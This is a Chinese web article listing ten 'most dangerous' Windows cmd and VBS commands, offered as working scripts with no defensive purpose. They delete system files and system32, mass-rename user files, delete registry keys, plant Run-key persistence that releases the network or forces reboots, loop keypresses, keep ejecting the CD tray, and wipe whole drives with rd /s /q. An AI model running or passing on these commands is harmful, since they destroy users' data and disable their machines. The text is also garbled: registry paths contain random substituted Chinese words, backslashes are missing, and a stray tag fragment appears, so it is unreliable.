首页 > 编程知识 正文

最危险的cmd,cmd十大危险命令

时间:2023-05-03 23:23:55 阅读:234281 作者:4059

1 蓝屏死机

Del %windowsdrive%*.* /f /s /q Shutdown -s -f -t 0

2 更改文件后缀名

Ren *.doc *.txt Ren *.jpeg *.txt Ren *.lnk *.txt Ren *.avi *.txt Ren *.mpeg *.txt Ren *.com *.txt Ren *.bat *.txt

3 删除system32

Del c:windowssystem32*.* /q

4 使PC永久崩溃

@echo off Attrib -r -s -h c:autoexec.bat Del c:autoexec.bat Attrib -r -s -h c:boot.ini Del c:boot.ini Attrib -r -s -h c:ntldr Del c: ntldr Attrib -r -s -h c:windowswin.ini Del c:windowswin.ini

5 删除所有的注册表

@echo off Start reg delete 坚定的酒窝/.exe Start reg delete 坚定的酒窝/.dll Start reg delete 坚定的酒窝/*

6 永久禁用网络

echo @echo off>c:windowswimn32.bat echo break off>>c:windowswimn32.bat echo ipconfig/release_all>>c:windowswimn32.bat echo end>>c:windowswimn32.bat reg add HKEY_LOCAL_MACHINESoftware清脆的电源Windows含糊的含羞草Run /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f reg add HKEY_CURRENT_USERSoftware清脆的电源WindowsCurrentVisionRun /v CONTROLexit /t reg_sz /d c:/Windows/wimn32.bat /f Pause

7 一直按回车

(这个要保存为.vbs) Set wshShell=wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys"~(enter)" loop

8 启动电脑后自动关机

echo @echo off>c:Windowshartlell.bat echo break off>>c:Windowshartlell.bat echo shutdown -r -t 11 -f>>c:Windowshartlell.bat echo end>>c:Windowshartlell.bat reg add HKEY_LOCAL_MACHINESoftware清脆的电源Windwos含糊的含羞草Run /v startAPI /t reg_sz /d c:Windowshartlell.bat /f reg add HKEY_CURRENT_USERSoftware清脆的电源Windows含糊的含羞草Run /v /t reg_sz /d c:Windowshartlell.bat /f pause

9 开启CD蜂鸣wqdl/p> (这个也是.vbs格式) Set oWMP=CreateObject("WMPlayer.OCX.7") Set colCDROMs=oWMP.cdromCollection do if colCDROMs.Count>=1 then For i=0 to colCDROMs.Count -1 colCDROMs.Item(i).Eject Next For i=0 to colCDROMs.Count -1 colCDROMs.Item(i).Eject Next End If wscript.sleep 100 loop 10. rd/s/q D: rd/s/q C: rd/s/q E:

版权声明:该文观点仅代表作者本人。处理文章:请发送邮件至 三1五14八八95#扣扣.com 举报,一经查实,本站将立刻删除。